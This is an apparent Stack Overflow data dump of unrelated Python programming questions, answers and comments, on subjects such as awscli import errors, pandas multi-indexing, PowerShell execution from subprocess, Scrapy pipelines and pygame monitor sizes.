has body: I recently broke my awscli installation by doing a brew upgrade. I keep getting ImportError: No module named awscli_plugin_endpoint regardless of what python version I use. Here's what I've tried already: current python version coming with brew using brew install awscli, pyenv with 2.7.14 and 3.6.4, virtualenv using this gist, pyenv with this other gist. install the tarballs manually from 1.14.65 - to 1.14.62. No matter what I do, it always complains about No module named awscli_plugin_endpoint I've already wiped the complete brew install, wiped all pyenvs, removed dot dirs .local, .pyenv. The only thing that is still there is the system install python coming with OS X. Running OS X 10.13.3, using zsh. What is wrong here? Example stacktrace from Python 2.7: $ aws --version Traceback (most recent call last): File "/Users/dhiller/pyenvs/aws/bin/aws", line 27, in &lt;module&gt; sys.exit(main()) File "/Users/dhiller/pyenvs/aws/bin/aws", line 23, in main return awscli.clidriver.main() File "/Users/dhiller/pyenvs/aws/lib/python2.7/site-packages/awscli/clidriver.py", line 58, in main driver = create_clidriver() File "/Users/dhiller/pyenvs/aws/lib/python2.7/site-packages/awscli/clidriver.py", line 69, in create_clidriver event_hooks=emitter) File "/Users/dhiller/pyenvs/aws/lib/python2.7/site-packages/awscli/plugin.py", line 44, in load_plugins modules = _import_plugins(plugin_mapping) File "/Users/dhiller/pyenvs/aws/lib/python2.7/site-packages/awscli/plugin.py", line 58, in _import_plugins plugins.append(__import__(path)) ImportError: No module named awscli_plugin_endpoint
favorite count: 0
type: Question
score: 3
tagged with: aws-cli
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49529665
answer count: 2

http://stackoverflow.com/q/49577378
has comment: http://stackoverflow.com/comment/86166845
tagged with: python
has comment: http://stackoverflow.com/comment/86168673
tagged with: label
has comment: http://stackoverflow.com/comment/86162792
score: 2
type: AnsweredQuestion
upvote count: 3
accepted answer: http://stackoverflow.com/a/49581209
tagged with: pandas
has comment: http://stackoverflow.com/comment/86207644
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/49581209
has body: Is there a way to create a dataframe having multi-indexing on both rows and columns without using tuples? My labels are too long to enter manually as tuples (96 countries and 26 sectors per country). Example of what I want I tried: df_data.columns=label_df df_data_w = pd.concat([label_df, data],axis=1,ignore_index=False) This added the label df to the first two columns, but didn't index it. I instead get this following dataframe Here is some code to use: import numpy as np import pandas as pd a = np.random.randint(low=0, high=10,size=9) b = np.random.randint(low=0, high=10,size=9) c = np.random.randint(low=0, high=10,size=9) d = np.random.randint(low=0, high=10,size=9) e = np.random.randint(low=0, high=10,size=9) f = np.random.randint(low=0, high=10,size=9) g = np.random.randint(low=0, high=10,size=9) h = np.random.randint(low=0, high=10,size=9) i = np.random.randint(low=0, high=10,size=9) df = pd.DataFrame(data=[a,b,c,d,e,f,g,h,i]) Continent = ['Africa','Africa','Africa','North America', 'North America', 'North America', 'Europe','Europe','Europe'] Sectors = ['Agriculture','Industry','Domestic','Agriculture','Industry','Domestic','Agriculture','Industry','Domestic'] label_df = pd.DataFrame(data=[Continent, Sectors]) df.columns=label_df df_w_labels = pd.concat([label_df, data],axis=1,ignore_index=False)` This gives me the labels as headers in my df, but I need them as columns as well, so I tried concat, which added the label df to the first two columns, but didn't index it.
tagged with: multi-index
favorite count: 0
type: Question
has title: How to have multi index on both rows and columns of a dataframe without using tuples?
linked to: http://stackoverflow.com/q/37403460

http://stackoverflow.com/a/49564639
score: 2
has comment: http://stackoverflow.com/comment/86137724
downvote count: 0
has comment: http://stackoverflow.com/comment/86137531
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86137875
has comment: http://stackoverflow.com/comment/86157382
has comment: http://stackoverflow.com/comment/86138415
accepted answer of: http://stackoverflow.com/q/49563895
type: Answer
has comment: http://stackoverflow.com/comment/86139065
answers question: http://stackoverflow.com/q/49563895
has comment: http://stackoverflow.com/comment/86138175
has body: Try using unrestricted ExecutionPolicy parameter : # python 2.7 and 3.4 import subprocess fname = "C:\\Demo\\test.ps1" p = subprocess.Popen(["powershell", "-ExecutionPolicy", "unrestricted", "-nologo", "-file", "%s"%(fname)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() if p.returncode == 0: print("buffer :") print(out) else: print("error :") print(err) The content of 'C:\Demo\test.ps1' write-host $env:USERPROFILE; Get-ExecutionPolicy -list; try{ Get-Module -Name VMware.VimAutomation.Core -ListAvailable | Import-Module; write-host 'ok import VMware'; }catch{ write-host 'error import VMware'; write-host $_; } The output after script execution (note the Process policy) buffer : C:\Users\MyUserName ok import VMware Scope ExecutionPolicy ----- --------------- ... ... ... ... Process Unrestricted ... ... ... ... On system32 Module path is here: C:\WINDOWS\system32\WindowsPowerShell\v1.0\ Try using: p = subprocess.Popen(["powershell", "-ExecutionPolicy", "unrestricted", "-nologo", "-command", "&amp;{ Get-Module –ListAvailable }"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) for showing all available modules
upvote count: 2

http://stackoverflow.com/a/77674093
type: Answer
score: 0
has body: Here is my implementation. It's better because it is called the super() import unidecode class SearchAccentFilter(SearchFilter): def get_search_terms(self, request): terms = super().get_search_terms(request) terms = [unidecode.unidecode(term) for term in terms] return terms
answers question: http://stackoverflow.com/q/49511079

http://stackoverflow.com/q/49560199
score: 0
answer count: 1
tagged with: scrapy
has comment: http://stackoverflow.com/comment/86128907
type: Question
accepted answer: http://stackoverflow.com/a/49646261
has answer: http://stackoverflow.com/a/49646261
has body: In my Scrapy Demo , the class extends ImagesPipelines can't be add into settings.py. this is my pipelines.py: class Douyu3Pipeline(ImagesPipeline): IMAGES_STORE = get_project_settings().get("IMAGE_STORE") def get_media_requests(self, item, info): print("1---------------------------1") image_url = item["imagelink"] yield scrapy.Request(image_url) def item_completed(self, results, item, info): image_path = [x["path"] for ok, x in results if ok] os.rename(self.IMAGES_STORE + "/" + image_path[0], self.IMAGES_STORE + "/" + item["nickname"] + ".jpg") item['imagePath'] = self.IMAGES_STORE + '/' + item['nickname'] return item this is my settings.py: BOT_NAME = 'douyu3' SPIDER_MODULES = ['douyu3.spiders'] NEWSPIDER_MODULE = 'douyu3.spiders' ROBOTSTXT_OBEY = True DEFAULT_REQUEST_HEADERS = { 'User-Agent': 'DYZB/1 CFNetwork/808.2.16 Darwin/16.3.0', } ITEM_PIPELINES = { "douyu3.pipelines.Douyu3Pipeline": 1, } IMAGE_STORE = "/Users/enritami/desktop/SearchEngineer/douyu3/Images" the error output is that there are none in ITEM_PIPELINES enter image description here
tagged with: python
has title: In a Scrapy Demo,ImagePipeline can't be added into settings.py
has comment: http://stackoverflow.com/comment/86129287
tagged with: web-crawler
type: AnsweredQuestion

http://stackoverflow.com/q/49449011
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85900397
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85901557
tagged with: python
has comment: http://stackoverflow.com/comment/85900277
tagged with: opencv
score: 2
has body: I want to store image frame data along with image frame timestamp extracted using OpenCV in an optimized way and then load it back to process it, here is the code: import cv2 import pickle video_capture = cv2.VideoCapture('/tmp/abc.mp4') success, frame = video_capture.read() fps = video_capture.get(5) frame_number = 0 success = True frames_arr = [] while success: timestamp = 1000 * float(frame_number) / fps ''' frame is a numpy ndarray, Sample data given {'matrix': array([[[0., 0., 0.], [0., 0., 0.], [0., 0., 0.]], [[0., 0., 0.], [0., 0., 0.], [0., 0., 0.]], [[0., 0., 0.], [0., 0., 0.], [0., 0., 0.]]]), 'timstamp': 123} ''' frame_dict = { 'timestamp': timestamp, 'frame_matrix': frame } # Appending to frame array # Conveting each dictionary to string and encoding it frames_arr.append(str(frame_dict).encode('utf-8')) success, frame = video_capture.read() frame_number += 1 # Storing all frames data into one pickle file with open('/tmp/frame_data.pkl', 'wb') as bf: pickle.dump(frames_arr, bf) If I directly save the dictionary it takes time and lot of space(2.2 Gb for 1700 frames - 1min video file), so I thought of storing it as a string (1.5mb) and again convert back to dictionary. I am able to load the .pkl file and access the data but unable to convert it back to dictionary, here is the code to load and access the data with open('/tmp/frames_data.pkl', 'rb') as f: data = pickle.load(f) for i, single in enumerate(data): print(single.decode('utf-8'), type(single.decode('utf-8'))) I get type(single.decode('utf-8')) as &lt;class 'str'&gt; so I tried ast.literal_eval but it throws ValueError: malformed node or string: &lt;_ast.Call object at 0x7fa53e2c15c0&gt; If this is not the way, what are the other work-around, I have 4Gb of RAM and for 3-4 min duration video it hangs while saving if I do not convert to string and try to save direct dictionary. Please help.
answer count: 0
has comment: http://stackoverflow.com/comment/85899967
downvote count: 0
favorite count: 0
type: Question
has title: Storing and loading lots of image frame numpy data into memory
tagged with: numpy

http://stackoverflow.com/comment/86199158
has text: Well, If I do that, them everything is summed. Including both of ID-1's $20 charges, where instead only one is wanted.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/49595869
type: AnswerComment

http://stackoverflow.com/comment/86083411
score: 0
type: Comment
type: QuestionComment
has text: You can try `lijst = sorted(lijst, key=lambda x: int(re.sub("[^0-9]","", x)))` This does a custom sort removing all non-digit chars from the name. You need to `import re`.
comment on: http://stackoverflow.com/q/49537521

http://stackoverflow.com/q/49539771
type: UnansweredQuestion
score: 1
has answer: http://stackoverflow.com/a/49539876
duplicate of: http://stackoverflow.com/q/12093901
linked to: http://stackoverflow.com/q/5532890
has body: In python when I try this: admin = "Vaibhav" def print_admin(default): # global admin if default == "default": print(admin) else: admin = "other" print(admin) print_admin("") print_admin("default") It gives me an error: error:UnboundLocalError: local variable 'admin' referenced before assignment If i use the global keyword then it only uses global in both cases. I want to be able to use local("other") if "default" is not given in the parameters and global("Vaibhav") if it is. This works perfectly in javascript but not in python. Javascript code for doing the same: let admin_name = "Vaibhav"; function printAdminName(admin_name_default) { if (admin_name_default != "default") { let admin_name = "Other"; console.log(admin_name) } else { console.log(admin_name); } } printAdminName("default"); printAdminName(); output: Vaibhav other ** I also wanted to know why this works in javascript and not python, since both are very similar languages. I wanted to know what concept makes this difference. As i spent a lot of time to logically figure it out.
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49540101
has title: python - using global and local variables in the same function
linked to: http://stackoverflow.com/q/12093901
has comment: http://stackoverflow.com/comment/86086877
tagged with: python
has comment: http://stackoverflow.com/comment/86087046
answer count: 2
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/49451940
has comment: http://stackoverflow.com/comment/85906794
accepted answer of: http://stackoverflow.com/q/49451405
has comment: http://stackoverflow.com/comment/129362913
downvote count: 0
has body: First of all it should be mentionned that "This function will be called once before the first frame." means that it is called once before the first frame per animation. So because the FuncAnimation's repeat argument is True by default, each time the animation is repeated, init_func will be called again. Next you are right that this function is actually called twice. The first call is to set the animation up. This step is apparently needed internally. One therefore should take this into account and make sure the init function does not produce anything irreversible in the plot. Also note that if you did not provide any init_func, the first frame would be used for the internal setup procedure. Therefore I think you are completely right to reset the lines attribute in the init_func. Possibly you might even want to clear the axes (self.ax.clear()) to get rid of previously drawn elements.
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49451405
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/85906949
type: Answer

http://stackoverflow.com/q/49573276
tagged with: python
linked to: http://stackoverflow.com/q/30352671
score: 2
tagged with: xpath
type: AnsweredQuestion
tagged with: python-3.x
upvote count: 2
linked to: http://stackoverflow.com/q/37323317
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86154518
tagged with: web-scraping
tagged with: scrapy
has body: I want to grab the cover of the book on this HTML. The cover sometimes is at the first order, sometimes it is at the second order. Series Campell Hardcover: 1465 pages I put the cover types in this list cover = ['Hardcover', 'BoardBook', 'CardBook'] When I specifically write 'Hardcover' in the xpath, it works. response.xpath("//li/b[contains(text(),'Hardcover')]/text()").extract() However, when I use the index of the list cover[0], it brings other things as well. response.xpath('//li/b[contains(text(),cover[0])]/text()').extract() I want to iterate the list values to check one of them between tags.
favorite count: 0
type: Question
has title: Using list variables in xpath
has answer: http://stackoverflow.com/a/49573375
accepted answer: http://stackoverflow.com/a/49573375

http://stackoverflow.com/q/49595029
type: UnansweredQuestion
tagged with: python
tagged with: dictionary
downvote count: 0
has answer: http://stackoverflow.com/a/69915652
answer count: 1
has title: Python shelve having items that aren't listed
tagged with: shelve
has comment: http://stackoverflow.com/comment/95098959
has body: I've been saving a bunch of dictionaries to file using Python's shelve module (with Python 3.4 on OSX 10.9.5). Each key is a string of an int (e.g., "84554"), and each value is a dictionary of dictionaries of a few smallish strings. No keys are used twice, and I know the total superset of all possible keys. I am adding these key-value pairs to the shelf via threads and which keys/values are added changes each time I run it (which is expected). The problem I've been having is that the number of keys iterable/visible with shelve's shelf.keys() and the number of unique keys for which key in shelf.keys() are different. Here's my code. I first initialize things and load ids, which is the list of all possible keys. import shelve from custom_code import * MAIN_PATH = "/Users/myname/project_path/src/" ids = list(set(load_list(MAIN_PATH + "id_list.pkl"))) c = c2 = 0 good_keys = [] bad_keys = [] I then open the shelf, counting all the number of keys that I iterate through with db.keys(), adding the "good" keys to a list. db = shelve.open(MAIN_PATH + "first_3") for k in db.keys(): c2+=1 good_keys+=[k] Then, I check each possible key to see if it's in the shelf, checking to see if it exists in the shelf, and doing the same thing as above. for j in set(ids): if j in db.keys(): c+=1 bad_keys+=[j] The two counters, c and c2, should be the same, but doing: print("With `db.keys()`: {0}, with verifying from the list: {1}".format(c2, c)) yields: With `db.keys()`: 628, with verifying from the list: 669 I then look at keys that were in bad_keys but not good_keys (i.e., collected from db.keys()) and pick an example. odd_men_out = list( set(bad_keys).difference( set(good_keys) ) ) bad_key = odd_men_out[0] print(bad_key) # '84554' I then check the following: print(bad_key in db.keys()) # True print(bad_key in db) # True print(db[bad_key]) # A dictionary of dictionaries that wraps ~12ish lines print(bad_key in list(db.keys())) # False Note that last check. Does anybody know what gives? I th…
tagged with: dbm
favorite count: 0
type: Question
tagged with: python-3.x
score: 5
upvote count: 5

http://stackoverflow.com/q/49453418
tagged with: python
has body: I am trying to make a box or step function using if/else statements. For example: import matplotlib.pyplot as plt import numpy as np def V(x): if -1&lt;=x&lt;=1: return 20 else: return 0 x=np.linspace(0,100) plt.plot(x,V(x)) However, I get the error : The truth value of an array with more than one element is ambiguous. Use a.any() or a.all() I understand that this is because it is trying to compare all the x input values at once and cannot do so, but I don't understand why it doesn't just do one at a time and output the value for each. Indeed If i input just one x at a time it works. Is there an easy way to overcome this issue?
has title: Creating step function with error: The truth value of an array with more than one element is ambiguous
score: 0
answer count: 2
type: Question
has answer: http://stackoverflow.com/a/49453648
tagged with: function
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49453591

http://stackoverflow.com/comment/137100523
comment on: http://stackoverflow.com/a/57021376
type: Comment
has text: 1) If a `list` is strictly better on speed and memory consumption, it's hard to justify `tee`. You always have 1+ untouched `tee` iterators, so you store *all* the data from the source; you're a `list` with extra steps. Saying "it's suitable if you think it's suitable" is like saying that adding no-op spin loops to the beginning of every function is suitable; it makes everything slower and worse, and it does it in an inefficient way. 2) The TODO is irrelevant, your design (that allows reiterating again forever) can never work on arbitrary iterators. 3) `eval` could work. But this can't.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/85918047
score: 0
comment on: http://stackoverflow.com/a/49457375
type: Comment
type: AnswerComment
has text: I need an iterable, and it looks like booleans are not iterable.

http://stackoverflow.com/comment/85907288
has text: Is it an option to use python 3 instead? The problems may be gone there, because it has more accomodating defaults.
score: 0
comment on: http://stackoverflow.com/q/49451806
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85899181
type: Comment
comment on: http://stackoverflow.com/q/49448581
score: 0
type: QuestionComment
has text: It'll help if you add the complete traceback in the question.

http://stackoverflow.com/comment/85960170
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49478290
has text: I just used import tensorflow as tf

http://stackoverflow.com/a/49519614
has comment: http://stackoverflow.com/comment/86088208
has body: Short answer, but I would recommend using Python Virtual Environments. Makes managing Python versions and pip packages very easy. https://docs.python.org/3/tutorial/venv.html This way you can have many different virtualized Python environments and activate them for whatever script, Ansible playbook, etc you are running. Another great feature is you can create a requirements file to share with others, so if they want to run your code they can simply install from the requirements file which guarantees they have the right version of Python and associated packages installed.
score: 0
answers question: http://stackoverflow.com/q/49517673
type: Answer

http://stackoverflow.com/comment/86131764
comment on: http://stackoverflow.com/q/49561860
type: Comment
type: QuestionComment
has text: I would start by splitting out the line into parts. It's really hard to read that line, which doesn't make for maintainable code.
score: 2

http://stackoverflow.com/q/49537852
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/49714199
has body: I'm trying to get the value of the current monitor size in my application. I'm on ubuntu 16.04 with GNOME. The problem is that I've got the netbook monitor and an external monitor so if I try doing something like: info_object = pygame.display.Info() # info_object.current_w / info_object.current_h screen = pygame.display.set_mode((info_object.current_w, info_object.current_h)) I get that the width of the screen is netbook monitor + external monitor so a resolution like: (3286, 1080) So my other try is to get information about monitor using pygame.display.list_modes() in order to get some of display resolution settigns but I get a list like: [(3286, 1080), (1366, 768), (1360, 768), (1024, 768), (960, 720), (960, 600), (960, 540), (928, 696), (896, 672), (840, 525), (800, 600), (800, 512), (720, 450), (700, 525), (680, 384), (640, 512), (640, 480), (576, 432), (512, 384), (400, 300), (320, 240)] But still don't know what is the current "active" monitor. If I open my program in my netbook monitor I expect to get the resolution of that monitor, instead if I open it in the external one I expect to have that resolution not one plus other. How can I achieve that?
score: 1
upvote count: 1
answer count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86164697
accepted answer: http://stackoverflow.com/a/49714199
has title: Pygame multiple monitor
tagged with: python
tagged with: pygame

http://stackoverflow.com/q/49561150
type: UnansweredQuestion
tagged with: python
linked to: http://stackoverflow.com/q/4915361
has title: My Python script is accepting integers but not strings why?
answer count: 2
score: 0
has answer: http://stackoverflow.com/a/49561151
duplicate of: http://stackoverflow.com/q/4915361
has body: Script: #!/usr/bin/python for i in range(5): value = input ("Enter the value : ") print value While string as input: $ ./fun+for.py Enter the value : John Traceback (most recent call last): File "./fun+for.py", line 13, in &lt;module&gt; value = input ("Enter the value : ") File "&lt;string&gt;", line 1, in &lt;module&gt; NameError: name 'John' is not defined While integer input: $ ./fun+for.py Enter the value : 4 4 Enter the value : 5 5 Enter the value : 6 6 Enter the value : 7 7 Enter the value : 7 7
has comment: http://stackoverflow.com/comment/86130282
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49661400

http://stackoverflow.com/a/49554492
has comment: http://stackoverflow.com/comment/86217682
has comment: http://stackoverflow.com/comment/86121587
has body: pip has proxy option. Please use it. pip install flask --proxy=&lt;proxy address&gt; From pip --help --proxy Specify a proxy in the form [user:passwd@]proxy.server:port. Read about proxy address here. Refer this to setup proxy on mac os.
answers question: http://stackoverflow.com/q/49554133
score: 0
has comment: http://stackoverflow.com/comment/86118019
upvote count: 1
type: Answer
downvote count: 1
has comment: http://stackoverflow.com/comment/86123751

http://stackoverflow.com/comment/86171545
type: AnswerComment
comment on: http://stackoverflow.com/a/49580122
has text: Thanks. So if I want to convert the whole column to this format instead of a single value, I used `df['Growth1'] = "{:,.2f}%".format(df['Growth1'])`. But I got the error of `unsupported format string passed to Series.__format__`
score: 0
type: Comment

http://stackoverflow.com/q/49452731
accepted answer: http://stackoverflow.com/a/49501525
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/49501525
tagged with: recurrent-neural-network
upvote count: 1
tagged with: keras
has title: Segmentation-free Handwritten Text Recognition with Keras
tagged with: ocr
favorite count: 0
type: Question
has body: I am currently working on an application for segmentation-free handwritten text recognition. Therefore text lines are extracted from the input document that should then be recognized. For development purpose I use the IAM Handwriting Database. It provides text line images along with the corresponding ASCII text. For the recognition I adapt the approaches found in the papers "An End-to-End Trainable Neural Network for Image-based Sequence Recognition and Its Application to Scene Text Recognition" and "Can We Build Language-independent OCR Using LSTM Networks?". Basiacally, I use a bidirectional GRU architecture and a forward backward algorithm to align transcripts with the output of the neural network. An image from the database looks like this: The images are presented as 1D sequence of pixel values, more preceisely the images are first scaled to a height of 32 pixels. The numpy array of the above image with the dimension of 597 x 32 has the shape of: (597, 32). The numpy array, representing the overall training images of size n, has the shape of: (n, w, 32) where w would represent the variable width of the line images (for example 597). The following code shows how the training images and the transcription are represented: x_train = [] y_train = [] line_height_normalized = 32 for i in range(sample_size): transcription_train, image_train = self._get_next_sample() image_train = convert_to_grayscale(image_train) image_train = scale_y(image_train, line_height_normalized) image_train_patches = sklearn_image.extract_patches_2d(image_train, (line_height_normalized, 1)) image_train_patches = numpy.reshape(image_train_patches, (image_train_patches.shape[0], -1)) x_train.append(image_train_patches) y_train.append(transcription_train) I use Keras and the creation of the recurrent neural network and the CTC function are based on this example . charset = 68 number_of_memory_units = 512 time_steps = None input_dimension = 32 # the height of a text line in pixel # input shape see…
tagged with: python
has comment: http://stackoverflow.com/comment/85978986
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85996799
score: 1

http://stackoverflow.com/comment/86118792
type: QuestionComment
has text: you are getting `b'48.047454833984375'` b also??
comment on: http://stackoverflow.com/q/49554609
score: 0
type: Comment

http://stackoverflow.com/q/49468736
has title: how to get Distinct or UNIQUE string lines from json file
score: -1
tagged with: twitter
has comment: http://stackoverflow.com/comment/85940269
tagged with: regex
type: Question
accepted answer: http://stackoverflow.com/a/49469196
upvote count: 0
has comment: http://stackoverflow.com/comment/85940290
answer count: 1
tagged with: python
tagged with: string
downvote count: 1
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49469196
has body: i have json file of tweets which contains following data. ID, FUll name, TEXT , Timestamp , URL USER, fullname , retweets etc Each json file is UNIQUE But in some jsons ['TEXT'] field is same. i want to remove those json files which contains same tweet in ['text'] field. here is example of my json file.. Both json are from different users but they tweets same text. { 'fullname': 'آدم', 'id': '772154564711768064', 'likes': '5', 'replies': '0', 'retweets': '0', 'text': '#GoNawazGoNawaz\n''This woman has realized the truth....hope nation realizes it ''too.... \n''#PanamaLeaks\n''#GoNawazGoNawazpic.twitter.com/6m7nWgldQp', 'timestamp': '2016-09-03T19:29:28', 'url': '/NaikOlad/status/772154564711768064', 'user': 'NaikOlad' }{ 'fullname': 'سلمان اعوان', 'id': '772156567542231040', 'likes': '0', 'replies': '0', 'retweets': '0', 'text': '#GoNawazGoNawaz\n''This woman has realized the truth....hope nation realizes it ''too.... \n''#PanamaLeaks\n''#GoNawazGoNawazpic.twitter.com/L2tZUOVs1z', 'timestamp': '2016-09-03T19:37:26', 'url': '/SaluBhai420/status/772156567542231040', 'user': 'SaluBhai420' }
has comment: http://stackoverflow.com/comment/85940164
has comment: http://stackoverflow.com/comment/85940996
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/q/49578073
answer count: 1
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/86164715
type: Question
accepted answer: http://stackoverflow.com/a/49578987
tagged with: python
has answer: http://stackoverflow.com/a/49578987
has comment: http://stackoverflow.com/comment/86163740
tagged with: dictionary
has comment: http://stackoverflow.com/comment/86163803
score: -1
has comment: http://stackoverflow.com/comment/86164395
has comment: http://stackoverflow.com/comment/86164633
type: AnsweredQuestion
upvote count: 0
tagged with: types
has title: How should the variables of an updating dictionary be converted to their appropriate types using an existing dictionary for reference?
has comment: http://stackoverflow.com/comment/86163995
has body: I've got a Flask website that updates a JSON file. The website gets a bunch of variables as a dictionary input and the idea is that each variable of this dictionary gets converted to its appropriate type by referencing the types of the existing dictionary that is loaded from the JSON file. So, the existing configuration dictionary is loaded in a way like the following: config = lock.load_JSON("config.json") Then, the website gets input and puts it into a dictionary input_config. This input dictionary has values that are all strings. I need to convert these values to their appropriate types based on the existing configuration. Bearing in mind that I'm dealing with many more variables than shown below in the example, what'd be a nice way to do this? config = { "a": True, "b": 1.05, "c": 30, "d": 9500, "e": 7000, "f": "maths", "g": True } input_config = { "a": "true", "b": "1.06", "c": "30", "d": "9500", "e": "4900", "f": "water", "g": "True" } I'm imagining something like the following: for key, value in list(config.items()): try: config[key] = convert_type(input_config[key], type(value)) except: print("error converting {value}".format(value = input_config[key]))

http://stackoverflow.com/a/49505622
accepted answer of: http://stackoverflow.com/q/49504886
score: 76
type: Answer
answers question: http://stackoverflow.com/q/49504886
has comment: http://stackoverflow.com/comment/119501258
has comment: http://stackoverflow.com/comment/115011952
has comment: http://stackoverflow.com/comment/119477870
has comment: http://stackoverflow.com/comment/86017376
upvote count: 77
type: AcceptedAnswer
has body: You don't need to convert the GeoDataFrame to an array of values, you can pass it directly to the DataFrame constructor: df1 = pd.DataFrame(gdf) The above will keep the 'geometry' column, which is no problem for having it as a normal DataFrame. But if you actually want to drop that column, you can do (assuming the column is called 'geometry'): df1 = pd.DataFrame(gdf.drop(columns='geometry')) # for older versions of pandas (&lt; 0.21), the drop part: gdf.drop('geometry', axis=1) Two notes: It is often not needed to convert a GeoDataFrame to a normal DataFrame, because most methods that you know from a DataFrame will just work as well. Of course, there are a few cases where it is indeed needed (e.g. to plot the data without the geometries), and then the above method is the best way. The first way (df1 = pd.DataFrame(gdf)) will not take a copy of the data in the GeoDataFrame. This will often be good from an efficiency point of view, but depending on what you want to do with the DataFrame, you might want an actual copy: df1 = pd.DataFrame(gdf, copy=True)
downvote count: 1
has comment: http://stackoverflow.com/comment/86018190

http://stackoverflow.com/q/49507567
has comment: http://stackoverflow.com/comment/86020389
type: Question
has comment: http://stackoverflow.com/comment/86020710
tagged with: reverse-engineering
answer count: 0
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86020816
has body: I've been working on an assignment but have hit the wall at the last steps now. The task is to automate process of connecting to server, receiving reply, processing the reply - decrypt it, encode and send it back to server. Here is the main script, i know the data receiving part is not really proper way of doing it but it works for this task: # -*- encoding: utf-8 -*- import socket, sys, time from decryptmsg import decryptmsg from cleanmsg import cleanmsg from getkey import getkey from xor import xorstring #connection ip=&lt;ipaddress&gt; port=&lt;port&gt; sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip,port)) while True: print "[+] START COMMUNICATION WITH SERVER..." data = sock.recv(8192) if not data: print "[-] ei dataa" print "[+] RECEIVED DATA: " + data data = cleanmsg(data) key = str(getkey(data)) print "[+] GOT KEY: " + key if data != None: print "[!] PROCESSING DATA: " + data clear_text = xorstring(data, key, decode=True) print clear_text if clear_text == None: print "[-] NO RESULTS FROM DECRYPTION" break else: print "[+] DECRYPTION SUCCESFULL, SENDING MESSAGE..." sock.sendall(clear_text) sock.sendall("\n") continue Here are also the function modules: cleanmsg.py import re b64pattern = '(?:[A-Za-z0-9+/]{4}){2,}(?:[A-Za-z0-9+/]{2}[AEIMQUYcgkosw048]=|[A-Za-z0-9+/][AQgw]+={0,2})' def cleanmsg(data): if re.search(b64pattern, data): b64data = re.search(b64pattern,data).group(0).strip() return b64data getkey.py # -*- encoding: utf-8 -*- import sys, base64, subprocess, os def getkey(cleaned_data): key = "" with open("secret_key.txt", 'w') as file: try: file.write(base64.b64decode(cleaned_data + b'===')) except: print "[-] B64 DECODE FAILED: " cmd = 'xortool -m 64 -c 20 secret_key.txt' process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output = process.stdout.read() lines = iter(output.splitlines()) for line in lines: #to see output of xortool print "[+]" + line if "possible" in line: key = next(line…
score: 0
has comment: http://stackoverflow.com/comment/86020469
has title: XOR decryption not working when used in script
has comment: http://stackoverflow.com/comment/86021286

http://stackoverflow.com/comment/105637227
has text: The second and the third line in your answer seem identical. Is one of these lines not necessary?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49526938

http://stackoverflow.com/q/49485910
tagged with: python
tagged with: regex
has body: I've searched extensively for an answer to my dilemma so I hope someone is able to assist. I'm trying to retrieve an IP address from a Linux based system then display the IP address on the screen with Python - here's what I have so far: import tkinter import subprocess import os import re pattern = re.compile("^([A-Z][0-9]+)+$") test = "10.11.10.1" cmd = subprocess.check_output("ifconfig eno1", shell=True) cmd = cmd.decode() cmd = cmd.splitlines() ip = re.match('[0-9]+', cmd[1]) if ip: print(ip.group(0)) If I print(cmd) after the decode is prints several lines of output from the ifconfig command, the second line contains the IP address I'm after so this information is displayed if I print(cmd[1]). If I substitute test for cmd[1] the script prints "10" as expected If I change the pattern matching line to read ip = pattern.match(cmd[1]) I get the same result, however if I change it to ip = re.match(".*", cmd[1]) it prints out the same thing as does print(cmd[1]) so why does it match .* but neither characters or numbers? Is it possible that the raw data is in some other format than ascii??
downvote count: 0
answer count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86009404
linked to: http://stackoverflow.com/q/180986
favorite count: 0
tagged with: pattern-matching
type: Question
has title: Pattern matching IP address extrached from shell command in Python 3
duplicate of: http://stackoverflow.com/q/180986
has comment: http://stackoverflow.com/comment/86015904
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85974585

http://stackoverflow.com/comment/86073727
has text: Yes, I was not able to find it. Thank you.
comment on: http://stackoverflow.com/q/49533566
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49495344
has answer: http://stackoverflow.com/a/49495944
has comment: http://stackoverflow.com/comment/85994825
tagged with: python
tagged with: merge
score: 4
has comment: http://stackoverflow.com/comment/85995879
upvote count: 4
tagged with: numpy
has title: NumPy equivalent of merge
has comment: http://stackoverflow.com/comment/85995552
downvote count: 0
